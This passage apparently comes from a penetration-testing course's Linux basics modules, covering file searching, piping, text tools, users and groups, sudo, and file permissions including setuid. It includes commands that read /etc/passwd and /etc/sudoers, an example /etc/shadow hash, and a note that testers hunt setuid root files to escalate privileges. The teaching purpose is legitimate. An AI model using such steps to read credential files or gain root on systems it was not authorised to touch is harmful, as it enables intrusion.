searches a built-in database named locate.db rather than
the entire hard disk itself. This database is automatically updated
regularly by an automated task.
Let's use locate to find the path to the whoami.exe
binary on kali.
kali@kali:~$ locate whoami.exe
/usr/share/windows-resources/binaries/whoami.exe
Listing 47 - Exploring the locate command
The find program enables us to walk a file hierarchy recursively in
order to search for files and directories. It takes many arguments and
the usage can be very complex. Some of its key options are:
-
-name - Search by filename or directory name (case
sensitive). -
-iname - Search by filename or directory name (case
insensitive). -
-type f/d/l/s - Search by type which can be (files,
directories, links or sockets) -
-size - Search by file or directory size.
-
-mtime - Search using the last modified date criteria.
-
-o - Allows us to combine multiple values of the same argument.
-
-user - Find files and directories based on their owner.
Let's review a few examples of use cases for find.
To search for a file named offsec.txt in the root
directory recursively, we would use: find / -name offsec.txt -type
f
To search for a JPG file in the current directory
recursively, we would use: find . -name "*.jpg"
To search for all .txt files owned by the kali user
that are more than 1MB in size: find / -user kali -size 1M -type f
-name "*.txt"
Piping and Redirection
This Learning Unit covers the following Learning Objectives:
- Understand piping and redirection
- Understand standard input, output, and errors
- Redirect output to a file
- Append output to the end of a file
- Redirect standard errors
- Pipe a command into another
This Learning Unit will take approximately 90 minutes to complete.
In this section we will be focusing on piping and
redirection[18] in a Linux shell. These features
will allow us to combine more commands to achieve more
flexible and versatile outcomes.
It is important to understand that every program that runs on the
command-line in Linux-based systems automatically has three data
streams[19] connected to it. Each data stream is also
assigned a file descriptor integer value:
-
STDIN (0): This is the standard input on which data is fed
into the program. Essentially, this is the part of the terminal
accepting the text we type in. -
STDOUT (1): The standard output on the other hand is just how
data is printed by the program, which defaults to the terminal. -
STDERR (2): Lastly, standard error is for error messages,
which also gets printed to the terminal by default.
Piping and redirection are means by which we may connect these
streams between different programs and files to direct data in ways
we want them to flow. For example, we might want to use the STDOUT of
program1 as the STDIN of program2.
There are different symbols for piping and data redirection and we
will introduce them one by one.
We already saw the > operator earlier when we wanted to
write text to a file with echo. > allows us to
redirect and save the output of one program on the STDOUT stream to a
file instead of the default behavior of printing it to the screen.
kali@kali:~$ echo hello
hello
kali@kali:~$ echo hello > file.txt
kali@kali:~$ cat file.txt
hello
Listing 48 - Simple example of redirecting to a new file
When we run the command echo hello, we print "hello" to
standard output (i.e. the terminal). But when we use echo hello >
file.txt, "hello" gets printed to file.txt instead.
Let's say we want to save the listing of files from the ls
program to a file called listing.txt. We can do so with the
following command.
kali@kali:~$ ls -lah > listing.txt
kali@kali:~$ cat listing.txt
total 1056
drwxr-xr-x 85 root wheel 2.7K Apr 19 17:41 .
drwxr-xr-x 6 root wheel 192B Mar 18 20:10 ..
-rw-r--r-- 1 root wheel 515B Jun 6 2020 afpovertcp.cfg
lrwxr-xr-x 1 root wheel 15B Mar 9 20:49 aliases -> postfix/aliases
-rw-r----- 1 root wheel 16K Jun 6 2020 aliases.db
...
Listing 49 - Redirecting to a new file.
In Listing 49, we observe that the output of ls
-lah gets written to the file listing.txt, instead of
directly to the terminal.
If we redirect the output to a non-existent file, the file will
be created automatically. Notice however, that if the file already
exists, our redirect will replace the file's content. We'll need to be
careful with redirection since there is no undo function.
To append additional data to an existing file (as opposed to
overwriting the file), we will use the >> operator.
kali@kali:~$ cat redirection_test.txt
Kali Linux is an open source project
kali@kali:~$ echo "that is maintained and funded by OffSec" >> redirection_test.txt
kali@kali:~$ cat redirection_test.txt
Kali Linux is an open source project
that is maintained and funded by OffSec
Listing 50 - Redirecting the output to an existing file
In Listing 50, the new text is appended to a new line
inside the referenced file.
Where > lets us write the output of a program as the input to a
file, the < operator allows us to read a file and use its output
as the input to a program.
kali@kali:~$ wc -m < test.txt
89
Listing 51 - Redirecting from a file.
In Listing 51, we feed the contents of
text.txt to the program wc, which when invoked with
the -m option counts the number of characters in a file.
We can also redirect error messages. Let's try running ls on
a file that does not exist and observe what happens.
kali@kali:~$ ls -lah filethatdoesnotexist.txt
ls: filethatdoesnotexist.txt: No such file or directory
Listing 52 - STDERR
In Listing 52, we try to run ls on
filethatdoesnotexist.txt and receive an error message. Even
though both standard output and standard error appear on the terminal,
they are actually separate data streams. This means we cannot use >
to redirect the output of Listing 52 to a file. (Try
it out. What happens?)
To redirect errors instead of a program's output to a file, we use the
2> operator.
kali@kali:~$ ls -lah filethatdoesnotexist.txt 2> errors.txt
kali@kali:~$ cat errors.txt
ls: filethatdoesnotexist.txt: No such file or directory
Listing 53 - Redirecting STDERR
The file descriptor for STDERR is 2. Therefore, the 2>
operator will allow us to redirect the error output of a program as
the input to a file, just as > lets us use the normal output
of a program as the input to a file. In fact, > can be
considered a convenient short form of 1>.
So far, we've been redirecting data from programs to files or vice
versa, using > and < respectively. We can also
use the output from one program as the input to a second program via
piping with the | symbol.
Let’s say we want to find out how many files are in our current
working directory. To do this, we can use a combination of ls
and wc.
kali@kali:~$ ls -l
total 32
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Desktop
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Documents
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Downloads
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Music
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Pictures
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Public
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Templates
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Videos
kali@kali:~$ ls -l | wc -l
9
Listing 54 - Redirecting STDERR using a Combination of ls and wc
We used the output of ls -l as the input to wc -l.
We will need to subtract 1 from the result to get the true number of
files, since the first line of output does not represent a file.
Note that the total number at the top of the results for ls -l
is the total number of file system blocks, including indirect blocks,
used by the listed files and not the total number of files listed.
Another use case might be to sort the output of ls
alphabetically, which we can do with sort.[20]
kali@kali:~$ ls | sort
afpovertcp.cfg
aliases
aliases.db
apache2
asl
asl.conf
...
Listing 55 - Piping STDOUT to STDIN
Combined with other programs and options, piping can get very complex,
but this is also what makes it extremely powerful.
Searching and Text Manipulation
This Learning Unit covers the following Learning Objectives:
- Understand how to search for strings in a file
- Replace text in a file through the command-line
- Filter output
- Compare files
- Edit files
This Learning Unit will take approximately 60 minutes to complete.
We can improve our ability to search for and manipulate files
and text by learning a few more commands. In this section, we'll
focus on grep[21], sed[22],
cut[23] and awk[24]. Each one of
these tools is extremely powerful and can be quite complex, so we will
only scratch the surface here.
To take advantage of these tools, it's helpful to know a bit about
how regular expressions (regex) work. A regular expression is
a special text string for describing a search pattern. There are a
number of excellent resources online that go into further detail on
regular expressions.[25]^,[26]^,[27]^,[28]
grep searches text files for a given regular expression and outputs
any line containing a match to the standard output, which is usually
the terminal screen.
Some of the most commonly used options with grep include
-r for recursive searching in a directory, and -i to
ignore text case.
Let's quickly do an example. First, we'll list all of the files and
directories in the /usr/bin directory with ls. We'll
use the -la option to put each entry on its own line and to
include hidden files. Then we'll pipe the output into grep
and search files or directories for the string "zip" as part of the
file name.
kali@kali:~$ ls -la /usr/bin | grep zip
-rwxr-xr-x 3 root root 34480 Jan 29 2017 bunzip2
-rwxr-xr-x 3 root root 34480 Jan 29 2017 bzip2
-rwxr-xr-x 1 root root 13864 Jan 29 2017 bzip2recover
-rwxr-xr-x 2 root root 2301 Mar 14 2016 gunzip
-rwxr-xr-x 1 root root 105172 Mar 14 2016 gzip
Listing 56 - Searching for any file(s) in /usr/bin containing
"zip"
In Listing 56, we listed all the files in the
/usr/bin directory with ls and piped the output
into grep, which searches for any line containing the string
"zip". Understanding the grep tool and when to use it can prove
incredibly useful.
sed is a powerful stream editor. At a very high level,
sed performs text editing on a stream of text, which will
either be a set of specific files or standard output.
kali@kali:~$ echo "I need to try hard" | sed 's/hard/harder/'
I need to try harder
Listing 57 - Replacing a word in the output stream
In Listing 57, we created a stream of text using the
echo command and then piped it to sed to replace the
word "hard" with "harder". Note that by default the output has been
automatically redirected to standard output.
The cut command is simple, but often comes in quite handy.
It is used to extract a section of text from a line and write it to
standard output.
The most commonly-used option are -f, for the field number
we are cutting, and -d for the field delimiter.
To observe it in action, let's echo a line of text and pipe
it to cut. We'll extract the second field using a comma
(,) as the field delimiter.
kali@kali:~$ echo "I hack binaries,web apps,mobile apps and just about anything else" | cut -f 2 -d ","
web apps
Listing 58 - Extracting a field using cut
cut can be also used on lines in text files. For example, we can
extract a list of users from /etc/passwd by using :
as a delimiter and retrieving the first field.
kali@kali:~$ cut -d ":" -f 1 /etc/passwd
root
daemon
bin
sys
sync
games
...
Listing 59 - Extracting usernames using cut
awk is a programming language designed for text processing
and is typically used as a data extraction and reporting tool.
It happens to be extremely powerful, and has significantly more
functionalities than we can demonstrate here. Two commonly used features
are the -F option, which is the field separator, and the
print subcommand, which outputs the resulting text.
kali@kali:~$ echo "hello::there::friend" | awk -F "::" '{print $1, $3}'
hello friend
Listing 60 - Extracting fields from a stream using a
multi-character separator in awk
Here we echoed a line and piped it to awk to extract the first and
third fields using "::" as a field separator.
The most prominent difference between the cut and the
awk examples we showed is that cut can only use a
single character as a field delimiter, while awk, as shown
in Listing 60, is much more flexible. As a general rule,
when we start building a command involving multiple string-processing
operations, we may want to consider switching to awk instead.
In this section we will explore how the Linux system allows us to
compare files. File comparison may not seem very important at first
glance, but system administrators, network engineers, penetration
testers, IT support technicians, and many other technically-oriented
professionals rely on this skill pretty often.
The comm[29] command compares two text files, displaying
the lines that are unique to each one, as well as the lines they have
in common. It outputs three columns: the first contains lines that
are unique to the first file or argument; the second contains lines
that are unique to the second file or argument; and the third column
contains lines that are shared by both files. The -n option,
where "n" is either 1, 2, or 3, can be used to suppress one or more
columns, depending on the need.
kali@kali:~$ cat scan-a.txt
192.168.1.1
192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.5
kali@kali:~$ cat scan-b.txt
192.168.1.1
192.168.1.3
192.168.1.4
192.168.1.5
192.168.1.6
kali@kali:~$ comm scan-a.txt scan-b.txt
192.168.1.1
192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.5
192.168.1.6
kali@kali:~$ comm -12 scan-a.txt scan-b.txt
192.168.1.1
192.168.1.3
192.168.1.4
192.168.1.5
Listing 61 - Using comm to compare files
In Listing 61, the first command displayed the unique
lines in scan-a.txt, the unique lines in scan-b.txt
and the lines found in both files respectively. The second command
displayed only the lines that were found in both files since we
suppressed the first and second columns with -12.
The diff[30] command is used to detect differences between
files, similar to comm. However, diff is much more complex
and supports many output formats. Two of the most popular formats
include the context format (-c) and the unified format
(-u). The following example demonstrates the difference
between the two formats.
kali@kali:~$ diff -c scan-a.txt scan-b.txt
*** scan-a.txt 2018-02-07 14:46:21.557861848 -0700
--- scan-b.txt 2018-02-07 14:46:44.275002421 -0700
***************
*** 1,5 ****
192.168.1.1
- 192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.5
--- 1,5 ----
192.168.1.1
192.168.1.3
192.168.1.4
192.168.1.5
+ 192.168.1.6
kali@kali:~$ diff -u scan-a.txt scan-b.txt
--- scan-a.txt 2018-02-07 14:46:21.557861848 -0700
+++ scan-b.txt 2018-02-07 14:46:44.275002421 -0700
@@ -1,5 +1,5 @@
192.168.1.1
-192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.5
+192.168.1.6
Listing 62 - Using diff to compare files
The output uses the - indicator to show that the line appears
in the first file, but not in the second. Conversely, the +
indicator shows that the line appears in the second file, but not in
the first.
The most notable difference between the two formats is that the
unified format does not show lines that match between files, making
the resulting output shorter. The indicators have identical meanings
in both formats.
File editing in a command shell environment is an extremely important
Linux skill, especially during a penetration test if you happen to get
access to a Unix-like OS.
Although there are text editors like gedit[31] and
Leafpad[32] that might be more visually appealing due to
their graphical user interface, we will focus on text-based terminal
editors, which emphasize both speed and versatility.
There are plenty of tools for editing text but for the sake of
this Module, we will be focusing on one of the simplest options,
nano.[33]
It is important to note that nano is not installed by default on some
distributions. On Kali you can install nano using sudo apt install
nano if it is not already installed.
We can open an existing file by supplying the filename as an argument
to nano on the command-line.
We can also create a new file that doesn’t exist by invoking
nano with no arguments.
Once the editor is opened we can edit the content as we would normally
do in a graphical text editor. Navigating through the text can be done
using the arrow keys and deletion can be done with the backspace.
Saving the file can be done using C+o, and exiting
the editor with C+x. Note that if the file content
is modified and C+x is hit, the editor will prompt
us if we would like to save the modifications or not. We can then
reply with "Y" or "N".
To search for a string in the text, press C+w, type
in the search term then press Enter. The cursor will move to the first
match. To move to the next match, press E+w.
For additional information regarding nano, refer to its online
documentation.[34]
Linux Basics II
In this Module, we will cover the following learning units:
- Users and Groups
- File Permissions
- Linux Processes
- File and Command Monitoring
- Linux Applications
- Scheduled Tasks
- Logs
- Disk Management
- Linux Basics I & II - Cumulative Exercise
Users and Groups
This Learning Unit covers the following Learning Objectives:
- Understand critical files for Linux users and groups
- Understand user and group IDs
- Change user attributes
- Change user context
Most security professionals will need to understand details about how
user accounts and group memberships are stored on a Unix-like system.
As an example, it is important to be able to list the user accounts
and check whether an account is disabled or can be used to log in
with.
There are few different authentication schemes that can be used on
Linux systems. The most commonly used authentication scheme makes use
of the /etc/passwd and /etc/shadow files.
Information about user accounts are stored in the /etc/passwd
file.[35] This file can be read by anyone because some
utilities depend on it, for example to map user IDs to usernames.
For this reason, the fingerprints of the passwords are stored in
a different file, called /etc/shadow.[36] The
shadow file can only be accessed with high privileges.
A colon separates the different properties of /etc/shadow.
An example of the content of /etc/shadow is shown in Listing
root: $6$pfiZTzNB1wav3OFG$GDwbvI44D7sBuX7Q.6LmNWx.RaU6nzxZWCCkkMNIXCkvANnNoYogV983NSLkG1cfpaW4mmyFuTOKkDf53hVkh/: 18781: 0: 99999: 7:::
Listing 1 - Example entry of /etc/shadow file.
Let's review the individual elements that appear in this entry.
Each part of this entry is separated by a colon. The root
entry is the username in plain text. The next piece, which is quite
long, represents an encrypted password. We'll learn more about
encryption in a later Module. For now, it's enough to know that the
password has been manipulated in such a way that someone browsing this
file cannot easily read what the password is.
The next piece, 18781, is the last time the password was
changed, in timestamp[37] format. 0 is The minimum
number of days required between password changes, and 99999
is the maximum number of days the password is valid for. The last
number, 7, indicates the number of days in advance of the
password's expiration date that the user will be warned that they will
need to change their password.
The following is an example entry of the /etc/passwd file.
john: x: 1002: 1002: John Doe,,,: /home/john: /bin/bash
Listing 2 - Example entry of /etc/passwd file.
Again, a colon separates the different properties. Let's review
each of them in the order they appear.
john is the username in plain text. x indicates
that the password needs to be pulled from the shadow file.
As we mentioned previously, this is because the passwd file
is world readable, meaning that any user can read its content. The
shadow file can only be accessed with high privileges.
Continuing, the first 1002 indicates the User ID[38]
(UID), which is a unique number on the system for each account, and
the second 1002 is the primary Group ID (GID) the user
belongs to respectively. Additional group memberships are defined in
the /etc/group file. We'll discuss the concept of groups in
detail later.
Let's continue. John Doe is in an optional field called the
comment field. It is most commonly used for informational
purposes. Usually, it contains the user's full name. Next,
/home/john is the user's home directory location, and
/bin/bash is the default shell environment for the user.
It is important to note that the UID of 0 has a special role. It
is always assigned to the system administrator superuser, called
root. It is technically possible to manually set UID 0 for
other users and thereby grant them elevated privileges, but it is not
recommended.
User accounts can be disabled and enabled in several ways.
As system administrators, one method we can use to control
user accounts is to lock a user's password. The usermod -L
username and passwd -l username commands both place an
exclamation mark (!) at the beginning of the password hash in
/etc/shadow. This change can be manually applied to the file
as well. The result is that any password authentication attempt will
fail for the given user.
Another method is to mark the user account as expired. When an
account expiration date is set, it is stored in the 8th field within
/etc/shadow. We can use the chage command by
providing the -E switch to set an expiration date for a user
account. The easiest way to expire an account is to provide a date in
the past.
A third method is to change the default shell in /etc/passwd
either to /bin/false, which will exit immediately, or to
/sbin/nologin, which is a simple program that displays a
message saying that the account is currently not available. We can use
the usermod command with the -s option to change the
default shell of a user.
If we would like to know whether a user account is disabled or locked,
we have to verify all three methods mentioned above. We can use the
following commands to check for expiration dates, password-locks, and
non-interactive shells.
root@kali:~# passwd --status jane
jane L 03/15/2021 0 99999 7 -1
root@kali:~# chage -l jane
Last password change : Mar 15, 2021
Password expires : never
Password inactive : never
Account expires : never
Minimum number of days between password change : 0
Maximum number of days between password change : 99999
Number of days of warning before password expires : 7
Listing 3 - An example of how to verify account lock and password expiration dates
In Listing 3, we used passwd --status to
confirm that jane's password is locked. We then use chage -l
to confirm that the account is not expired.
root@kali:~# grep ^jane /etc/passwd
jane:x:5001:5001::/home/jane:/sbin/nologin
Listing 4 - An example of how to verify a user's shell
In Listing 4, we use grep with
a regular expression to find a line that begins with "jane". Grep
returned jane's properties in /etc/passwd, where we can
verify that the default shell is /sbin/nologin. This means that login
access for the account is disabled.
Groups allows system administrators to configure more flexible and
granular permissions, as we'll discover later on. Information about
user groups are stored in the /etc/group file.[39]
Let's review an example entry of this file.
bluetooth: x: 117: kali
Listing 5 - Example entry of /etc/group file
The file structure follows a similar convention to
/etc/passwd. Let's quickly review the individual parts.
bluetooth is the group name, x is the group password
(usually not used), and 117 is the group ID. kali
is a particular user that belongs to the specified group. Note
that only users who have a secondary group membership are listed in
/etc/group, since primary group memberships are stored in
/etc/passwd.
In this section, we will get familiar with how to execute privileged
commands and how to switch contexts across different users. As
a security professional, it is important to know how to identify
misconfigurations, or to notice automation implemented in a way that
can be abused.
The sudo[40]^,[41]^,[42]^,[43] command can be used to
execute a command with elevated privileges. To be able to use sudo,
our low-privileged user account has to be a member of the sudo group
(on Debian based Linux distributions, like Kali). The word "sudo"
stands for "Superuser-Do", and we can think of it as changing the
effective user of the command that follows.
As an example of this, let's run the whoami command, which
lists the current effective user.
kali@kali:~$ whoami
kali
kali@kali:~$ sudo whoami
[sudo] password for kali:
root
Listing 6 - practicing with sudo.
To run this command, we need to provide the password of the current
user, which will be cached for five minutes by default. In other
words, once we successfully authenticate our low-level user with
sudo, we will keep the elevated permissions for the cached
amount of time. If we were to run sudo whoami again, we would
not receive the password prompt.
Also note that the cursor does not move and there is no other output
(for example, a series of asterisks) to indicate that the password is
being typed.
Custom configurations can be applied in the /etc/sudoers
file.[44]
root@kali:~# cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "@include" directives:
@includedir /etc/sudoers.d
Listing 7 - /etc/sudoers entry.
The output indicates that the root user has all sudo permissions. We
can specify that a user does not have to provide the password to run
sudo, and we can limit the list of executable commands allowed through
sudo. We can use the -l or --list option to list
the allowed commands for the current user.
kali@kali:~$ sudo -l
[sudo] password for kali:
Matching Defaults entries for box on academy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User kali may run the following commands on kali:
(ALL : ALL) ALL
Listing 8 - sudo -l output.
One of the most commonly used sudo arguments is the
-i option, which allows the current user to run a login shell
as the root user (a command may also be specified):
kali@kali:~$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
kali@kali:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)
kali@kali:~$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
kali@kali:~$ sudo -i
root@kali:~# id
uid=0(root) gid=0(root) groups=0(root)
Listing 9 - sudo -i usage.
Here, we execute the id command four times to check our
UID. The first time, we note that our kali user's UID is 1000, which
is often the default UID of the first human user on a Linux system.
We then use sudo id to execute a single command as root.
Since we are executing the command as root, id outputs root's UID.
However, this UID does not belong to kali, and so when we execute
id as kali the third time, we get kali's UID of 1000 once
again.
Finally, we execute sudo -i to give the kali user root's
login shell. Now when we run id for the fourth time, we
are provided with root's UID. Notice also that the user's prompt has
changed from a "$" character to a "#". This convention identifies an
elevated user on many Linux shells, including Bash and Zsh.
The su[45] command can be used to switch users. Without any
parameters, the default behavior is to run an interactive shell as the
root user.
Invoking su will prompt us for root's password, whereas sudo requires
only that we know our own user's password. Note that on some Linux
distributions, password authentication for the root user is disabled
by default. Kali is an example of such a distribution.
We can either make changes to the configuration files or we can use
root privileges with the sudo command. Let's practice that
now and switch to the root user.
kali@kali:~$ whoami
kali
kali@kali:~$ sudo su
root@kali:/home/kali# whoami
root
Listing 10 - Simple su usage.
We began this example as the kali user. This is confirmed when we run
the whoami command. When we run sudo su, we are given the
root login shell. When we run whoami a second time, it shows
the current user is root.
We can also use su to execute a single command as the target
user by using the -l and -c options as follows.
root@kali:~# whoami
root
root@kali:~# su -l offsec -c "whoami"
offsec
Listing 11 - Running the whoami command as another user using su.
File Permissions
This Learning Unit covers the following Learning Objectives:
- Understand Linux DAC permissions
- Change Linux file permissions
- Understand setuid, sgid, and the sticky bit
As a security professional, it is essential to be familiar with file
permissions[46]^,[47] on
Linux distributions. For example, sometimes a low privileged users can
modify configuration files that enable privilege escalation.
One of the defining features of Linux and other UNIX derivatives
is that most resources, including files, directories, devices, and
network communications are represented in the filesystem. Put
colloquially, "everything is a file".
Each file or directory has specific permissions for three categories
of users.
-
Its owner (symbolized by u, as in user)
-
Its owner group (symbolized by g, as in group), representing all
the members of the group -
The others (symbolized by o, as in other)
In addition to this, three types of rights can be combined.
-
reading (symbolized by r, as in read)
-
writing (or modifying, symbolized by w, as in write)
-
executing (symbolized by x, as in eXecute)
In the case of a file, these rights are easily understood: read access
allows a user to read the content (including copying), write access
allows changing it, and execute access allows running it (which will
only work if it is a program).
A directory is handled differently from a file. Read access gives the
right to consult the list of its contents (files and directories).
Write access allows creating or deleting files. Finally, execute
access allows crossing through the directory to access its contents
(for example, with the cd command). Being able to cross
through a directory without being able to read it gives the user
permission to access known entries, but only by knowing their exact
name.
We can use the long option (-l) of ls to view the
permissions of files and directories.
kali@kali:~$ ls -l /etc/passwd
-rw-r--r-- 1 root root 3348 Mar 19 07:14 /etc/passwd
Listing 12 - Example permissions on a file
In Listing 12, we note that the root user has
read and write privileges on /etc/passwd/, while the root
group and everyone else have only read permission.
We can use the chown command to change the ownership
properties of a file. There are two ways of representing rights.
Among them, the symbolic representation is probably the easiest to
understand and remember.
The symbolic representation involves the letter symbols mentioned
above. We can define rights for each category of users (u/g/o),
by setting them explicitly (with =), by adding (with
+), or subtracting (with -).
For example, we can use the u=rwx,g+rw,o-r formula to give
the owner read, write, and execute rights, add read and write rights
for the owner group, and remove read rights for other users.
Rights not altered by the addition or subtraction in such a command
remain unmodified. The letter a, for all, covers all three
categories of users so that a=rx grants all three categories
the same rights (read and execute, but not write).
kali@kali:~$ ls -la perms
-rw-r--r-- 1 kali kali 0 Mar 22 10:40 perms
kali@kali:~$ chown root perms
chown: changing ownership of 'perms': Operation not permitted
kali@kali:~$ sudo chown root perms
[sudo] password for kali:
kali@kali:~$ ls -l perms
-rw-r--r-- 1 root kali 0 Mar 22 10:40 perms
Listing 13 - Example of changing ownership on a file
In Listing 13, the owner of the
perms file has been changed from kali to root. After this,
even though the user executing the command is the owner of the file,
the execution fails. Note that the chown command has to be
executed with elevated privileges to change a file's owner to another
user.
The chmod command can be used to change the permission
settings on a file or a directory.
kali@kali:~$ ls -l perms
-rw-r--r-- 1 kali kali 0 Mar 22 10:40 perms
kali@kali:~$ chmod u+x,g+w,o-r perms
kali@kali:~$ ls -l perms
-rwxrw---- 1 kali kali 0 Mar 22 10:40 perms
Listing 14 - Example of changing permissions on a file
In Listing 14, we granted (+) execute
permissions (x) to the owner user (u), granted (+) write (w)
permissions to the owner group (g), and revoked (-) read (r)
permissions to other users on the perms file.
The second way to represent rights is via an octal numeric
representation. It associates each right with a value.
-
4 for read
-
2 for write
-
1 for execute
We associate each combination of rights with the sum of the three
figures.
-
7 = 4 + 2 + 1 = read, write, and execute
-
6 = 4 + 2 = read and write
-
5 = 4 + 1 = read and execute
-
3 = 2 + 1 = write and execute
Finally, 0 represents no permissions. Notice how there is only one
way to obtain each of the combination numbers by adding together the
individual components.
To set rights for each of the three different categories, we assign
one of these numeric values to them in the usual order (owner, then
group, then others).
For instance, the chmod 754 command will set the
following rights:
- read, write, and execute for the owner (since 7 = 4 + 2 + 1)
- read and execute for the group (since 5 = 4 + 1)
- read-only for others
chmod 600 <file> allows for
- read and write permissions for the owner
- no rights for anyone else.
The most frequent right combinations are 755 for executable files and
directories, and 644 for data files.
Note that the use of octal notation only allows us to set all the
rights at once on a file; we cannot use it to add a new right, such as
read access for the group owner since we must take into account the
existing rights and compute the new corresponding numerical value.
Aside from the rwx permissions described above, two additional special
rights pertain to executable files: setuid and setgid. These are
symbolized with the letter "s".
If these two rights are set, either an uppercase or lowercase "s" will
appear in the permissions. This allows the current user to execute the
file with the rights of the owner (setuid) or the owner's group
(setgid).
It's important to note a few things here. The first is that many files
will have root as the owner of the file. If the setuid attribute is
assigned to an executable, that program will run under the super-user
identity. This means that any user who manages to subvert a setuid
root program to call a command of their choice can effectively
impersonate the root user and have all rights on the system.
Penetration testers regularly search for these types of files when
they gain access to a system as a way of escalating their privileges.
Let's review an example. We'll list the attributes of the passwd
command, which is used to change passwords for user accounts.
kali@kali:~$ ls -la /usr/bin/passwd
-rws r-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd
Listing 15 - Setuid example
The lowercase "s", which appears here, means both execute and setuid
flags are set. A capital "S" would mean the setuid bit is set, but
that the execute flag is missing.
Let's do a quick experiment with changing the setuid bit. We'll make
a copy of the id command, which displays the current user and group
membership. If we run this command as the kali user, it will output
"kali", but if we change its ownership to root and set the setuid
flag, it will output "root" even though we run it as the kali user.
kali@kali:~$ which id
/usr/bin/id
kali@kali:~$ sudo cp /usr/bin/id /usr/bin/idcopy
kali@kali:~$ ls -la /usr/bin/idcopy
-rwxr-xr-x 1 root root 48064 Jun 30 14:53 /usr/bin/idcopy
kali@kali:~$ idcopy
uid=1000(kali) gid=1000(kali) groups=1000(kali)
kali@kali:~$ sudo chown root:kali /usr/bin/idcopy
[sudo] password for kali:
kali@kali:~$ sudo chmod u+s /usr/bin/idcopy
kali@kali:~$ ls -la /usr/bin/idcopy
-rwsr-xr-x 1 root kali 48064 Jun 30 14:53 /usr/bin/idcopy*
kali@kali:~$ idcopy
uid=1000(kali) gid=1000(kali) euid=0(root) groups=1000(kali)
Listing 16 - Setting setuid example
Let's take a moment to understand this example.
First, we made a copy of the id executable named idcopy, and
put it in the /usr/bin directory. This allows us to invoke
idcopy directly from the command line, since /usr/bin
is inside our $PATH. We reviewed the permissions, which showed two
things. We note that the "s" is missing. In addition, the owner of
this file is kali.
Perhaps predictably, when we ran idcopy, the output showed
that the user executing the command has UID 1000, which belongs to
kali.
For our experiment to work, we will need to change the owner to root
and then change the permissions so that this command runs with the
permissions of the owner of the executable rather than the current
user. We used sudo chown root:kali /usr/bin/idcopy to change
the owner of this file to root.
The critical step here was setting the setuid bit with sudo chmod
u+s /usr/bin/idcopy. When we reviewed the permissions again, we
note that the "s" is present and that the owner of this file is now
root.
Finally, we ran /usr/bin/idcopy and noted that while the
UID of the executing user remains 1000 (belonging to kali), the
effective UID, or EUID, is now 0 (belonging to root). This means
that the program ran as if root was the executor, even though it was
invoked by kali.
Like the setuid bit, the setgid bit is a special file permission that
enables users to inherit the effective group ID of the file group
owner. This special bit is set similarly to the setuid bit.
From the kali terminal, we can run id -g to learn the
effective group id of the current user. To learn more about
the setgid bit, we'll experiment with this command by making a second
copy of id, similar to what we did above.
Running idcopy also gives us the numeric identifier for the
current group, which is GID 1000, belonging to the kali group. We'll
use sudo chown kali:root to change the group owner for this
file.
Finally, we'll change this command to execute with the group owner
permissions with the following: chmod g+s filename When we
run idcopy2 again, it outputs "egid=0", indicating that the
command was executed in the context of the root user group. The output
provides further evidence of this, since it shows that the executor is
part of the root group as well.
kali@kali:~$ sudo cp /usr/bin/id /usr/bin/idcopy2
kali@kali:~$ cp /usr/bin/id /usr/bin/idcopy2
kali@kali:~$ ls -la /usr/bin/idcopy2
-rwxr-xr-x 1 kali kali 48064 Jun 30 14:53 idcopy2
kali@kali:~$ idcopy2
uid=1000(kali) gid=1000(kali) groups=1000(kali)
kali@kali:~$ sudo chown kali:root /usr/bin/idcopy2
kali@kali:~$ sudo chmod g+s /usr/bin/idcopy2
kali@kali:~$ ls -la /usr/bin/idcopy2
-rwxr-sr-x 1 kali root 48064 Jun 30 14:53 /usr/bin/idcopy2
kali@kali:~$ idcopy2
uid=1000(kali) gid=1000(kali) egid=0(root) groups=0(root),1000(kali)
Listing 17 - Setting setgid example
The setgid bit also applies to directories. Any newly-created item
in a directory is automatically assigned the owner group of the
parent directory. It does this instead of, for example, inheriting
the creator's main group.
Because of this, we don't have to change our main group (with the
newgrp command) when working in a file tree shared between several
users of the same dedicated group.
The sticky bit (symbolized by the letter "t") is a permission that
is only useful in directories. It is commonly used for temporary
directories where everybody has write access (such as /tmp/).
It restricts deletion of files so that only their owner or the owner
of the parent directory can delete them. Without this, everyone could
delete each other's files in /tmp/.
kali@kali:~$ ls -ld /tmp
drwxrwxrwt 18 root root 4096 Mar 19 11:39 /tmp
Listing 18 - Sticky bit example
In this example, the letter "t" appears at the end of the permission
settings, indicating that the sticky bit is set.
Linux Processes
This Learning Unit covers the following Learning Objectives:
- Understand process IDs
- Understand foreground and background processes
- Send a process to the background
- Execute a background process in the foreground
- List running processes
- Kill a Linux process
The Linux kernel manages multitasking through the use of processes.
In this section we'll cover how to interact with them.
In the context of this Module, a process is an instance of a running
program. Every time we run a program via our terminal, we begin a new
process. The Linux kernel maintains information about each process to
help keep them organized, and each process is assigned a number called
a process ID[48] (PID).
Linux also contains the concept of jobs to ease the user's workflow
during a terminal session. As an example, cat error.txt | wc
-m is a pipeline of two processes, which the shell considers
